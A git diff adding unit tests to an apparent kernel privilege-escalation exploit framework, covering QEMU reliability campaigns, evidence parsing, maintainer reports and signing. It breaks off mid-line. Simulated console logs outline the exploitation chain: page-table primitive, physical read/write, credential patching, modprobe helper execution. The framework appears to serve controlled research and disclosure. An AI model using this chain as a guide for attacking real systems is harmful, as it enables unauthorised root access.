unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_reliability.py b/dirty-crow-xarray-lpe/framework/tests/test_reliability.py new file mode 100644 index 0000000..c77c795 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_reliability.py @@ -0,0 +1,399 @@ +from __future__ import annotations + +import contextlib +import hashlib +import io +import json +import socket +import tempfile +import unittest +from pathlib import Path + +from dirtycrow.attestation import parse_attestation_payload +from dirtycrow.cli import main +from dirtycrow.lab import run_lab +from dirtycrow.reliability import ( + ReliabilityError, + build_reliability_plan, + load_reliability_profile, + run_reliability_campaign, + wilson_interval, +) + + +def _sha256(content: bytes) -> str: + return hashlib.sha256(content).hexdigest() + + +def _initial_console() -> str: + return ( + "KERNEL_RELEASE 6.12.105+deb13-amd64\n" + "EXPLOIT_CONFIG rounds=5000 random_seed=none worker_threads=48\n" + "EXPLOIT_IDENTITY uid=65534 euid=65534 suid=65534 " + "gid=65534 egid=65534 sgid=65534 nnp=1\n" + "EXPLOIT_CAPS capget_rc=0 effective=0\n" + "EXPLOIT_NAMESPACE initial=1 inside=0 outside=0 length=4294967295\n" + "PRE_ROOT_PROOF path=/root/filemap-xarray-root-proof required=1 open=0 errno=13\n" + "TRIGGER_START mode=backstep rounds=5000 workers=48\n" + ) + + +def _full_proof(round_number: int) -> str: + return ( + _initial_console() + + f"PAGE_TABLE_PRIMITIVE round={round_number} race_candidate=0 " + "target_candidate=1 mapped_pmds=3\n" + "ARBITRARY_PHYSICAL_RW sample_index=12032 pfn=0x3000 " + "marker_page=790 write_ok=1\n" + "ROOT_IDENTITY uid=0 euid=0 suid=0 gid=0 egid=0 sgid=0 " + "capget_rc=0 cap_effective=0x1ffffffffff\n" + "ROOT_PROOF path=/root/filemap-xarray-root-proof required=1 open=1 " + "read=25 data=filemap-xarray-root-proof\n" + "POST_ROOT_CREATE path=/root/filemap-xarray-post-root-1234 created=1 " + "uid=0 gid=0 mode=0400 read=25 data=filemap-xarray-post-root\n" + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534 to_uid=0\n" + "RECOVERY_ACTION mode=poweroff reason=corrupted_mm_reboot_only\n" + ) + + +def _primitive_only(round_number: int) -> str: + return ( + _initial_console() + + f"PAGE_TABLE_PRIMITIVE round={round_number} race_candidate=0 " + "target_candidate=1 mapped_pmds=3\n" + "ARBITRARY_PHYSICAL_RW sample_index=12032 pfn=0x3000 " + "marker_page=790 write_ok=1\n" + ) + +def _consume_attestation(command: list[str]) -> str: + endpoint = command[command.index("-chardev") + 1] + parameters = { + key: value + for key, value in ( + component.split("=", 1) + for component in endpoint.split(",")[1:] + ) + } + with socket.create_connection( + (parameters["host"], int(parameters["port"])), timeout=2 + ) as connection: + chunks: list[bytes] = [] + while chunk := connection.recv(4096): + chunks.append(chunk) + fields = parse_attestation_payload(b"".join(chunks)) + return ( + f"ATTESTATION_ACCEPTED token_id={fields['token_id']} " + f"boot_uuid={fields['boot_uuid']} policy={fields['policy']}\n" + ) + + +class _FakeProcess: + def __init__(self, exit_code: int, output: bytes) -> None: + self.exit_code = exit_code + self.stdout = io.BytesIO(output) + + def poll(self) -> int: + return self.exit_code + + def wait(self, timeout: float) -> int: + return self.exit_code + + def terminate(self) -> None: + raise AssertionError("unexpected terminate") + + def kill(self) -> None: + raise AssertionError("unexpected kill") + + +class ReliabilityCampaignTests(unittest.TestCase): + def _profile( + self, + root: Path, + *, + attempts: int = 4, + action: str = "backstep-proof", + extra: dict[str, object] | None = None, + ) -> Path: + root.mkdir(parents=True, exist_ok=True) + kernel = b"kernel-image" + initrd = b"initramfs-image" + qemu = root / "bin" / "qemu-system-x86_64.exe" + qemu.parent.mkdir(parents=True, exist_ok=True) + qemu.write_bytes(b"qemu fixture") + (root / "vmlinuz").write_bytes(kernel) + (root / "initrd.img").write_bytes(initrd) + lab_profile = { + "schema_version": 2, + "target_id": "debian-6.12.105-reliability-test", + "kernel": {"path": "vmlinuz", "sha256": _sha256(kernel)}, + "initrd": {"path": "initrd.img", "sha256": _sha256(initrd)}, + "vm": { + "architecture": "x86_64", + "page_size": 4096, + "qemu_binary": "bin/qemu-system-x86_64.exe", + "machine": "q35", + "acceleration": "tcg", + "cpu": "max", + "cpus": 4, + "memory_mib": 1024, + "timeout_seconds": 30, + "watchdog": { + "boot_seconds": 10, + "trigger_seconds": 10, + "serial_inactivity_seconds": 10, + "post_primitive_seconds": 5, + }, + }, + "boot": { + "action": action, + "append": "console=ttyS0 panic=-1 oops=panic preempt=full", + }, + } + (root / "target.json").write_text(json.dumps(lab_profile), encoding="utf-8") + payload: dict[str, object] = { + "schema_version": 1, + "campaign_id": "debian-reliability-smoke", + "lab_profile": "target.json", + "attempts": attempts, + "confidence_level": 0.95, + "preemption_mode": "full", + } + if extra: + payload.update(extra) + profile = root / "reliability.json" + profile.write_text(json.dumps(payload), encoding="utf-8") + return profile + + def test_campaign_classifies_attempts_and_reports_statistics(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_reliability_profile(self._profile(root / "profile")) + consoles = [ + (_full_proof(131), 0), + (_primitive_only(17), 0), + (_initial_console() + "PRIMITIVE_NOT_OBSERVED rounds=5000\n", 0), + (_initial_console() + "BUG: page state\n", 1), + ] + invocation = 0 + + def fake_popen(command: list[str], **options: object) -> _FakeProcess: + nonlocal invocation + console, exit_code = consoles[invocation] + invocation += 1 + output = (_consume_attestation(command) + console).encode() + return _FakeProcess(exit_code, output) + + def runner(lab: object, output: Path) -> dict[str, object]: + return run_lab(lab, output, popen_factory=fake_popen) # type: ignore[arg-type] + + output = root / "campaign" + summary = run_reliability_campaign( + profile, output, lab_runner=runner # type: ignore[arg-type] + ) + + self.assertTrue(summary["measurement_valid"]) + self.assertEqual(summary["attempts_completed"], 4) + self.assertEqual(summary["category_counts"]["complete_proof"], 1) + self.assertEqual(summary["category_counts"]["primitive_observed"], 1) + self.assertEqual(summary["category_counts"]["clean_miss"], 1) + self.assertEqual( + summary["category_counts"]["unexpected_kernel_fault"], 1 + ) + primitive_rate = summary["statistics"]["primitive_observation_rate"] + self.assertEqual(primitive_rate["successes"], 2) + self.assertEqual(primitive_rate["trials"], 4) + self.assertEqual(primitive_rate["estimate"], 0.5) + self.assertEqual( + summary["statistics"]["race_round_distribution"]["values"], + [17, 131], + ) + self.assertEqual(summary["statistics"]["first_primitive_attempt"], 1) + self.assertEqual(summary["geometry"]["smp_cpus"], 4) + self.assertEqual( + summary["geometry"]["declared_preemption_mode"], "full" + ) + self.assertTrue((output / "campaign-plan.json").is_file()) + self.assertTrue((output / "summary.json").is_file()) + for index in range(1, 5): + self.assertTrue( + (output / f"attempt-{index:04d}" / "evidence.json").is_file() + ) + for attempt in summary["attempts"]: + for artifact in attempt["artifacts"].values(): + self.assertEqual(len(artifact["sha256"]), 64) + + def test_launch_errors_are_counted_but_excluded_from_trials(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_reliability_profile( + self._profile(root / "profile", attempts=1) + ) + + def launch_error(command: list[str], **options: object) -> _FakeProcess: + raise OSError("synthetic launch failure") + + def runner(lab: object, output: Path) -> dict[str, object]: + return run_lab(lab, output, popen_factory=launch_error) # type: ignore[arg-type] + + summary = run_reliability_campaign( + profile, root / "campaign", lab_runner=runner # type: ignore[arg-type] + ) + + self.assertFalse(summary["measurement_valid"]) + self.assertEqual(summary["category_counts"]["launch_error"], 1) + self.assertEqual(summary["eligible_attempts"], 0) + self.assertIsNone(summary["statistics"]["primitive_observation_rate"]) + + def test_controlled_crash_requires_explicit_marker_without_fault_signature(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_reliability_profile( + self._profile(root / "profile", attempts=1) + ) + + def fake_popen(command: list[str], **options: object) -> _FakeProcess: + output = ( + _consume_attestation(command) + + _initial_console() + + "CONTROLLED_CRASH stage=mutation\n" + ).encode() + return _FakeProcess(1, output) + + def runner(lab: object, output: Path) -> dict[str, object]: + return run_lab(lab, output, popen_factory=fake_popen) # type: ignore[arg-type] + + summary = run_reliability_campaign( + profile, root / "campaign", lab_runner=runner # type: ignore[arg-type] + ) + + self.assertEqual(summary["category_counts"]["controlled_crash"], 1) + self.assertEqual(summary["category_counts"]["unexpected_kernel_fault"], 0) + + def test_campaign_rejects_tampered_attempt_evidence(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_reliability_profile( + self._profile(root / "profile", attempts=1) + ) + + def fake_popen(command: list[str], **options: object) -> _FakeProcess: + output = ( + _consume_attestation(command) + + _initial_console() + + "PRIMITIVE_NOT_OBSERVED rounds=5000\n" + ).encode() + return _FakeProcess(0, output) + + def tampering_runner(lab: object, output: Path) -> dict[str, object]: + result = run_lab( # type: ignore[arg-type] + lab, output, popen_factory=fake_popen + ) + with (output / "evidence.json").open("ab") as stream: + stream.write(b" ") + return result + + with self.assertRaisesRegex(ReliabilityError, "SHA-256 mismatch"): + run_reliability_campaign( + profile, + root / "campaign", + lab_runner=tampering_runner, # type: ignore[arg-type] + ) + + def test_campaign_rejects_stale_runtime_evidence_schema(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_reliability_profile( + self._profile(root / "profile", attempts=1) + ) + + def fake_popen(command: list[str], **options: object) -> _FakeProcess: + output = ( + _consume_attestation(command) + + _initial_console() + + "PRIMITIVE_NOT_OBSERVED rounds=5000\n" + ).encode() + return _FakeProcess(0, output) + + def stale_schema_runner( + lab: object, output: Path + ) -> dict[str, object]: + result = run_lab( # type: ignore[arg-type] + lab, output, popen_factory=fake_popen + ) + evidence_path = output / "evidence.json" + evidence = json.loads(evidence_path.read_text(encoding="utf-8")) + evidence["schema_version"] = 1 + encoded = ( + json.dumps(evidence, indent=2, sort_keys=True) + "\n" + ).encode() + evidence_path.write_bytes(encoded) + reference = result["evidence"] + assert isinstance(reference, dict) + reference["sha256"] = _sha256(encoded) + (output / "result.json").write_text( + json.dumps(result, indent=2, sort_keys=True) + "\n", + encoding="utf-8", + ) + return result + + with self.assertRaisesRegex( + ReliabilityError, "unsupported schema_version" + ): + run_reliability_campaign( + profile, + root / "campaign", + lab_runner=stale_schema_runner, # type: ignore[arg-type] + ) + + def test_profile_is_strict_and_requires_proof_action(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + unknown = self._profile( + root / "unknown", extra={"undeclared": "value"} + ) + with self.assertRaisesRegex(ReliabilityError, "unknown keys"): + load_reliability_profile(unknown) + probe = self._profile(root / "probe", action="probe") + with self.assertRaisesRegex(ReliabilityError, "backstep-proof"): + load_reliability_profile(probe) + + def test_campaign_refuses_existing_output_directory(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_reliability_profile( + self._profile(root / "profile", attempts=1) + ) + output = root / "campaign" + output.mkdir() + with self.assertRaisesRegex(FileExistsError, "already exists"): + run_reliability_campaign(profile, output) + + def test_wilson_interval_is_bounded_and_zero_trial_is_explicit(self) -> None: + interval = wilson_interval(5, 10, 0.95) + self.assertIsNotNone(interval) + self.assertLess(interval["lower"], 0.5) + self.assertGreater(interval["upper"], 0.5) + self.assertGreaterEqual(interval["lower"], 0.0) + self.assertLessEqual(interval["upper"], 1.0) + self.assertIsNone(wilson_interval(0, 0, 0.95)) + + def test_cli_plan_emits_bound_geometry_without_running_qemu(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = self._profile(Path(directory), attempts=3) + stdout = io.StringIO() + with contextlib.redirect_stdout(stdout): + status = main( + ["reliability", "plan", "--profile", str(profile_path)] + ) + report = json.loads(stdout.getvalue()) + + self.assertEqual(status, 0) + self.assertEqual(report["attempts"], 3) + self.assertEqual(report["geometry"]["memory_mib"], 1024) + self.assertEqual( + report["confidence_interval_method"], "Wilson score interval" + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_reports.py b/dirty-crow-xarray-lpe/framework/tests/test_reports.py new file mode 100644 index 0000000..f18a212 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_reports.py @@ -0,0 +1,66 @@ +from __future__ import annotations + +import json +from pathlib import Path +import re +import tempfile +import unittest + +from dirtycrow.reports import generate_finding_reports, load_report_profile + + +ROOT = Path(__file__).resolve().parents[1] +PROFILE = ROOT / "profiles" / "report.json" + + +class FindingReportTests(unittest.TestCase): + def test_generates_internal_and_path_clean_maintainer_reports(self) -> None: + with tempfile.TemporaryDirectory() as directory: + output = Path(directory) + result = generate_finding_reports(PROFILE, ROOT, output) + internal = json.loads( + (output / "internal-report.json").read_text(encoding="utf-8") + ) + maintainer_path = output / "maintainer-report.json" + maintainer_text = maintainer_path.read_text(encoding="utf-8") + maintainer = json.loads(maintainer_text) + markdown = (output / "maintainer-report.md").read_text(encoding="utf-8") + + self.assertTrue(result["passed"]) + self.assertIn("internal_candidates", internal) + self.assertNotIn("internal_candidates", maintainer) + self.assertEqual(maintainer["distribution"], "maintainer_redacted") + self.assertIsNone(re.search(r'(?:^|")[A-Za-z]:[\\/]', maintainer_text)) + self.assertIn("Runtime-confirmed matrix rows: 8", markdown) + self.assertIn("explicit unsupported rows", markdown) + self.assertIn("Deterministic XArray A/B: 159585972 checks passed", markdown) + self.assertIn( + "Full-kernel matched A/B: 2 vulnerable LPE trial(s), " + "2 fixed clean trial(s), 5000 fixed race rounds per trial.", + markdown, + ) + self.assertNotIn("four of seven default matrix rows positive", markdown) + self.assertIn( + "This is exact ChromeOS kernel exploitability under QEMU with minimal " + "userspace.", + markdown, + ) + self.assertEqual( + internal["fix_validation"]["matched_ab"]["submission"][ + "dco_signoff_status" + ], + "signed_off", + ) + + def test_rejects_tampered_hash_binding(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = Path(directory) / "report.json" + payload = json.loads(PROFILE.read_text(encoding="utf-8")) + payload["inputs"]["findings"]["sha256"] = "0" * 64 + profile_path.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(ValueError, "hash mismatch"): + load_report_profile(profile_path, ROOT) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_runs.py b/dirty-crow-xarray-lpe/framework/tests/test_runs.py new file mode 100644 index 0000000..07bcd26 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_runs.py @@ -0,0 +1,72 @@ +from __future__ import annotations + +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.runs import ( + complete_step, + create_run, + fail_step, + load_run, + next_ready_step, + resume_run, + start_step, +) + + +PLAN = { + "schema_version": 1, + "title": "test campaign", + "target_id": "target", + "steps": [ + {"id": "scan", "kind": "audit", "depends_on": [], "parameters": {}}, + {"id": "run", "kind": "lab", "depends_on": ["scan"], "parameters": {}}, + ], +} + + +class ResumableRunTests(unittest.TestCase): + def test_persists_dependencies_artifacts_failure_and_resume(self) -> None: + with tempfile.TemporaryDirectory() as directory: + store = Path(directory) + state = create_run(store, PLAN) + run_id = state["run_id"] + self.assertEqual(next_ready_step(state), "scan") + + start_step(store, run_id, "scan") + artifact = store / "result.json" + artifact.write_text('{"passed":true}\n', encoding="utf-8") + state = complete_step(store, run_id, "scan", [artifact]) + stored = Path(state["steps"][0]["artifacts"][0]["store_path"]) + self.assertTrue(stored.is_file()) + self.assertEqual(next_ready_step(state), "run") + + start_step(store, run_id, "run") + failed = fail_step(store, run_id, "run", "guest timed out") + self.assertEqual(failed["status"], "failed") + resumed = resume_run(store, run_id) + self.assertEqual(resumed["status"], "pending") + self.assertEqual(next_ready_step(resumed), "run") + self.assertEqual(resumed["resume_count"], 1) + + start_step(store, run_id, "run") + completed = complete_step(store, run_id, "run") + self.assertEqual(completed["status"], "completed") + self.assertEqual(load_run(store, run_id)["status"], "completed") + + def test_rejects_dependency_cycle(self) -> None: + cyclic = { + **PLAN, + "steps": [ + {"id": "a", "kind": "audit", "depends_on": ["b"], "parameters": {}}, + {"id": "b", "kind": "lab", "depends_on": ["a"], "parameters": {}}, + ], + } + with tempfile.TemporaryDirectory() as directory: + with self.assertRaisesRegex(ValueError, "cycle"): + create_run(Path(directory), cyclic) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_runtime_evidence.py b/dirty-crow-xarray-lpe/framework/tests/test_runtime_evidence.py new file mode 100644 index 0000000..3f6f651 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_runtime_evidence.py @@ -0,0 +1,361 @@ +from __future__ import annotations + +import contextlib +import io +import json +import tempfile +import unittest +from pathlib import Path + +from dirtycrow.cli import main +from dirtycrow.runtime_evidence import analyze_console, collect_runtime_evidence +_TOKEN_ID = "a" * 32 +_BOOT_UUID = "12345678-1234-4234-8234-123456789abc" + + +def _attestation(delivered: bool = True) -> dict[str, object]: + return { + "token_id": _TOKEN_ID, + "boot_uuid": _BOOT_UUID, + "target_id": "debian-test", + "action": "backstep-proof", + "policy": "reboot-only-proof", + "kernel_sha256": "a" * 64, + "initramfs_sha256": "c" * 64, + "transport": { + "concrete": True, + "kind": "private-loopback-to-virtio-serial", + }, + "delivery": { + "delivered": delivered, + "delivery_count": 1 if delivered else 0, + "error": None, + }, + } + +def _lifecycle(clean: bool = True) -> dict[str, object]: + return { + "passed": clean, + "state": "exited_clean" if clean else "deadline_exceeded", + "qemu_exit_code": 0 if clean else -15, + "forced_termination": not clean, + "watchdog": {"triggered": not clean}, + "recovery": { + "required": True, + "guest_requested": clean, + "outcome": "clean_guest_poweroff" if clean else "host_terminate", + }, + } + + + + +def _initial() -> str: + return ( + "KERNEL_RELEASE 6.12.105+deb13-amd64\n" + "EXPLOIT_CONFIG rounds=5000 worker_threads=48 main_cpu=unbound\n" + f"ATTESTATION_ACCEPTED token_id={_TOKEN_ID} " + f"boot_uuid={_BOOT_UUID} policy=reboot-only-proof\n" + "EXPLOIT_IDENTITY uid=65534 euid=65534 suid=65534 " + "gid=65534 egid=65534 sgid=65534 nnp=1\n" + "EXPLOIT_CAPS capget_rc=0 effective=0\n" + "EXPLOIT_NAMESPACE initial=1 inside=0 outside=0 length=4294967295\n" + "PRE_ROOT_PROOF path=/root/filemap-xarray-root-proof required=1 open=0 errno=13\n" + ) + + +def _primitive() -> str: + return ( + "PAGE_TABLE_PRIMITIVE round=131 race_candidate=0 target_candidate=1 " + "mapped_pmds=3\n" + "ARBITRARY_PHYSICAL_RW sample_index=12032 pfn=0x3000 marker_page=790 " + "write_ok=1\n" + ) + + +def _direct_proof() -> str: + return ( + _initial() + + _primitive() + + "CRED_PATCH pfn=0x42 page_offset=0x120 permitted=0x1 effective=0x1\n" + + "ROOT_IDENTITY uid=0 euid=0 suid=0 gid=0 egid=0 sgid=0 " + + "capget_rc=0 cap_effective=0x1ffffffffff\n" + + "ROOT_PROOF path=/root/filemap-xarray-root-proof required=1 open=1 " + + "read=25 data=filemap-xarray-root-proof\n" + + "POST_ROOT_CREATE path=/root/filemap-xarray-post-root-1234 created=1 " + + "uid=0 gid=0 mode=0400 read=25 data=filemap-xarray-post-root\n" + + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534 to_uid=0\n" + + "RECOVERY_ACTION mode=poweroff reason=corrupted_mm_reboot_only\n" + ) + + +def _helper_proof() -> str: + return ( + _initial() + + _primitive() + + f"ATTESTATION_RECEIPT_ACCEPTED token_id={_TOKEN_ID} " + + f"boot_uuid={_BOOT_UUID} policy=reboot-only-proof\n" + + "ROOT_IDENTITY uid=0 euid=0 suid=0 gid=0 egid=0 sgid=0 " + + "capget_rc=0 cap_effective=0x1ffffffffff\n" + + "ROOT_PROOF path=/root/filemap-xarray-root-proof required=1 open=1 " + + "read=25 data=filemap-xarray-root-proof\n" + + "POST_ROOT_CREATE path=/root/filemap-xarray-post-root-1234 created=1 " + + "uid=0 gid=0 mode=0400 read=25 data=filemap-xarray-post-root\n" + + "ROOT_HELPER_EXECUTION_CONFIRMED uid=0 euid=0 gid=0 egid=0\n" + + "MODPROBE_ROOT_MARKER path=/tmp/x2a.marker uid=0 gid=0 mode=0400 " + + "child_status=0\n" + + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED " + + "from_uid=65534 root_execution=modprobe_helper\n" + + "RECOVERY_ACTION mode=poweroff reason=corrupted_mm_reboot_only\n" + ) + + +class RuntimeEvidenceTests(unittest.TestCase): + def _analyze(self, root: Path, content: str) -> dict[str, object]: + console = root / "console.log" + console.write_text(content, encoding="utf-8") + return analyze_console(console) + + def test_direct_credential_proof_requires_complete_chain(self) -> None: + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze(Path(directory), _direct_proof()) + + self.assertTrue(analysis["initial_state_valid"]) + self.assertTrue(analysis["page_table_primitive"]) + self.assertTrue(analysis["physical_rw"]) + self.assertTrue(analysis["direct_credential_proof"]) + self.assertFalse(analysis["helper_execution_proof"]) + self.assertTrue(analysis["full_proof"]) + self.assertEqual(analysis["classification"], "proof_completed") + + def test_modprobe_helper_proof_is_distinct_and_bounded(self) -> None: + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze(Path(directory), _helper_proof()) + + self.assertFalse(analysis["direct_credential_proof"]) + self.assertTrue(analysis["helper_execution_proof"]) + self.assertTrue(analysis["root_owned_proof_file"]) + self.assertTrue(analysis["root_only_read"]) + self.assertTrue(analysis["full_proof"]) + + def test_helper_proof_requires_attested_root_receipt(self) -> None: + with tempfile.TemporaryDirectory() as directory: + console = Path(directory) / "console.log" + console.write_text( + _helper_proof().replace( + f"ATTESTATION_RECEIPT_ACCEPTED token_id={_TOKEN_ID} " + f"boot_uuid={_BOOT_UUID} policy=reboot-only-proof\n", + "", + ), + encoding="utf-8", + ) + record = collect_runtime_evidence( + console, + target_id="debian-test", + action="backstep-proof", + lifecycle=_lifecycle(), + attestation=_attestation(), + ) + + self.assertTrue(record["outcome"]["full_proof"]) + self.assertFalse(record["outcome"]["attestation_valid"]) + self.assertIn( + "helper_receipt_marker_missing", + record["outcome"]["attestation_failures"], + ) + self.assertFalse(record["outcome"]["proof_confirmed"]) + + def test_forbidden_root_payload_invalidates_otherwise_valid_proof(self) -> None: + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze( + Path(directory), _direct_proof() + "ROOT_PAYLOAD mode=command\n" + ) + + self.assertTrue(analysis["forbidden_payload"]) + self.assertFalse(analysis["full_proof"]) + self.assertEqual(analysis["classification"], "forbidden_payload") + + def test_backend_contract_rejection_invalidates_proof(self) -> None: + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze( + Path(directory), + _direct_proof() + + "PROOF_CONTRACT_REJECTED reason=invalid_helper_path\n", + ) + + self.assertTrue(analysis["forbidden_payload"]) + self.assertFalse(analysis["proof_contract_valid"]) + self.assertFalse(analysis["full_proof"]) + self.assertEqual(analysis["classification"], "proof_contract_rejected") + + def test_direct_proof_file_path_must_be_bounded(self) -> None: + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze( + Path(directory), + _direct_proof().replace( + "/root/filemap-xarray-post-root-1234", "/etc/persistent-proof" + ), + ) + + self.assertFalse(analysis["direct_credential_proof"]) + self.assertFalse(analysis["proof_paths_bounded"]) + self.assertFalse(analysis["proof_contract_valid"]) + self.assertFalse(analysis["full_proof"]) + + def test_helper_marker_path_must_be_bounded(self) -> None: + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze( + Path(directory), + _helper_proof().replace("/tmp/x2a.marker", "/root/helper.marker"), + ) + + self.assertFalse(analysis["helper_execution_proof"]) + self.assertFalse(analysis["proof_paths_bounded"]) + self.assertFalse(analysis["full_proof"]) + + def test_recovery_marker_is_required_for_complete_proof(self) -> None: + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze( + Path(directory), + _direct_proof().replace( + "RECOVERY_ACTION mode=poweroff " + "reason=corrupted_mm_reboot_only\n", + "", + ), + ) + + self.assertTrue(analysis["direct_credential_proof"]) + self.assertFalse(analysis["proof_completion_bounded"]) + self.assertFalse(analysis["proof_contract_valid"]) + self.assertFalse(analysis["full_proof"]) + + def test_recovery_marker_must_follow_bounded_proof_markers(self) -> None: + recovery = ( + "RECOVERY_ACTION mode=poweroff " + "reason=corrupted_mm_reboot_only\n" + ) + transition = ( + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED " + "from_uid=65534 to_uid=0\n" + ) + reordered = _direct_proof().replace(recovery, "").replace( + transition, recovery + transition + ) + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze(Path(directory), reordered) + + self.assertTrue(analysis["direct_credential_proof"]) + self.assertFalse(analysis["proof_completion_bounded"]) + self.assertFalse(analysis["proof_contract_valid"]) + self.assertFalse(analysis["full_proof"]) + + def test_crash_marker_invalidates_proof(self) -> None: + with tempfile.TemporaryDirectory() as directory: + analysis = self._analyze( + Path(directory), _direct_proof() + "BUG: corrupted page table\n" + ) + + self.assertEqual(analysis["crash_markers"], ["BUG:"]) + self.assertFalse(analysis["full_proof"]) + self.assertEqual(analysis["classification"], "unexpected_kernel_fault") + + def test_missing_namespace_evidence_keeps_historical_log_incomplete(self) -> None: + with tempfile.TemporaryDirectory() as directory: + content = _direct_proof().replace( + "EXPLOIT_NAMESPACE initial=1 inside=0 outside=0 length=4294967295\n", + "", + ) + analysis = self._analyze(Path(directory), content) + + self.assertFalse(analysis["initial_state_valid"]) + self.assertIn("EXPLOIT_NAMESPACE", analysis["initial_state_missing"]) + self.assertFalse(analysis["full_proof"]) + self.assertEqual( + analysis["classification"], "impact_proof_missing_prerequisite" + ) + + def test_collector_binds_console_artifacts_and_host_lifecycle(self) -> None: + with tempfile.TemporaryDirectory() as directory: + console = Path(directory) / "console.log" + console.write_text(_direct_proof(), encoding="utf-8") + expected_size = console.stat().st_size + record = collect_runtime_evidence( + console, + target_id="debian-test", + action="backstep-proof", + artifacts=[{"name": "kernel", "sha256": "a" * 64}], + lifecycle=_lifecycle(), + plan_sha256="b" * 64, + attestation=_attestation(), + ) + + self.assertEqual(record["record_type"], "dirty-crow-native-runtime-evidence") + self.assertEqual(record["schema_version"], 2) + self.assertEqual(record["target"]["id"], "debian-test") + self.assertEqual(record["console"]["size"], expected_size) + self.assertTrue(record["outcome"]["proof_confirmed"]) + + def test_dirty_lifecycle_prevents_confirmed_proof(self) -> None: + with tempfile.TemporaryDirectory() as directory: + console = Path(directory) / "console.log" + console.write_text(_direct_proof(), encoding="utf-8") + record = collect_runtime_evidence( + console, + target_id="debian-test", + action="backstep-proof", + lifecycle=_lifecycle(clean=False), + attestation=_attestation(), + ) + + self.assertTrue(record["outcome"]["full_proof"]) + self.assertFalse(record["outcome"]["proof_confirmed"]) + + def test_missing_host_delivery_prevents_confirmed_proof(self) -> None: + with tempfile.TemporaryDirectory() as directory: + console = Path(directory) / "console.log" + console.write_text(_direct_proof(), encoding="utf-8") + record = collect_runtime_evidence( + console, + target_id="debian-test", + action="backstep-proof", + lifecycle=_lifecycle(), + attestation=_attestation(delivered=False), + ) + + self.assertTrue(record["outcome"]["full_proof"]) + self.assertFalse(record["outcome"]["attestation_valid"]) + self.assertIn( + "token_not_delivered", record["outcome"]["attestation_failures"] + ) + self.assertFalse(record["outcome"]["proof_confirmed"]) + + def test_cli_collects_imported_console_without_overclaiming_lifecycle(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + console = root / "console.log" + output = root / "evidence.json" + console.write_text(_direct_proof(), encoding="utf-8") + stdout = io.StringIO() + with contextlib.redirect_stdout(stdout): + status = main( + [ + "evidence", + "--console", + str(console), + "--target-id", + "imported-test", + "--action", + "backstep-proof", + "--output", + str(output), + ] + ) + record = json.loads(output.read_text(encoding="utf-8")) + + self.assertEqual(status, 0) + self.assertIsNone(record["outcome"]["lifecycle_clean"]) + self.assertFalse(record["outcome"]["proof_confirmed"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_signing.py b/dirty-crow-xarray-lpe/framework/tests/test_signing.py new file mode 100644 index 0000000..ea1e39b --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_signing.py @@ -0,0 +1,89 @@ +from __future__ import annotations + +from pathlib import Path +import shutil +import tempfile +import unittest + +from dirtycrow.signing import ( + SigningError, + generate_minisign_keypair, + sign_with_minisign, + verify_minisign_signature, +) + + +MINISIGN = shutil.which("minisign") + + +@unittest.skipUnless(MINISIGN, "Minisign is not installed") +class MinisignTests(unittest.TestCase): + def test_signs_and_verifies_offline_then_rejects_tampering(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + secret = root / "release.key" + public = root / "release.pub" + artifact = root / "manifest.json" + signature = root / "manifest.json.minisig" + artifact.write_text('{"files":[]}\n', encoding="utf-8") + + key_report = generate_minisign_keypair( + secret, public, minisign=MINISIGN + ) + sign_report = sign_with_minisign( + artifact, + signature, + secret, + public, + trusted_comment="dirty-crow test manifest 2026-08-30", + minisign=MINISIGN, + ) + verify_report = verify_minisign_signature( + artifact, signature, public, minisign=MINISIGN + ) + artifact.write_text('{"files":["tampered"]}\n', encoding="utf-8") + with self.assertRaises(SigningError): + verify_minisign_signature( + artifact, signature, public, minisign=MINISIGN + ) + + self.assertTrue(key_report["passed"]) + self.assertTrue(sign_report["passed"]) + self.assertTrue(verify_report["passed"]) + self.assertEqual( + verify_report["trusted_comment"], + "dirty-crow test manifest 2026-08-30", + ) + + def test_refuses_to_overwrite_keys_or_signatures(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + secret = root / "release.key" + public = root / "release.pub" + artifact = root / "manifest.json" + signature = root / "manifest.json.minisig" + artifact.write_text("{}\n", encoding="utf-8") + generate_minisign_keypair(secret, public, minisign=MINISIGN) + with self.assertRaisesRegex(SigningError, 